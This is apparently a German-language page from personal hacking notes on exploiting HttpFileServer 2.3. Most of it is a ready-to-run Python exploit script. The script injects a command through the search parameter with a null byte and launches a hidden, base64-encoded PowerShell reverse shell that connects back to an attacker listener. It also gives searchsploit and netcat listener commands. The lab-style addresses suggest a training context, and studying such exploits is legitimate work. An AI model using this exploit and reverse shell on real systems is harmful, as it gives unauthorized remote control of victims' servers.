> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/httpfileserver-2.3-cms-exploitation.md).
# HttpFileServer 2.3
Es wird ein HttpFileServer-2.3-Webserver entdeckt. Diese Version ist für Remote Code Execution (RCE) anfällig.
### **Exploit-Suche**
Befehl:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Benutzerdefiniertes Python-Skript**
**Benutzerdefiniertes Python-Skript**
Ändern Sie das Skript, um die folgenden Parameter einzuschließen:
* `LHOST` : Ihre lokale IP (VPN).
* `LPORT` : lokaler Listener-Port (z. B. 4444).
* `RHOST`: Ziel-IP.
* `RPORT`: Port des verwundbaren Dienstes, zum Beispiel 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Definieren Sie den Befehl, der in eine Datei geschrieben werden soll
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Kodieren Sie den Befehl im Base64-Format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nBefehl im Base64-Format kodiert...")
# Definieren Sie die Nutzlast, die in die URL aufgenommen werden soll
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Kodieren Sie die Nutzlast und senden Sie eine HTTP-GET-Anfrage
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nNutzlast kodiert und eine HTTP-GET-Anfrage an das Ziel gesendet...")
# Geben Sie einige Informationen aus
print("/nEinige Informationen zum Debuggen werden ausgegeben...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Auf Verbindungen warten
print("/nAuf Verbindungen warten...")
os.system(f'nc -nlvp {lport}')
```
Setzen Sie Ihr System als Listener ein:
```bash
rlwrap nc -nlvp 4444
```
---
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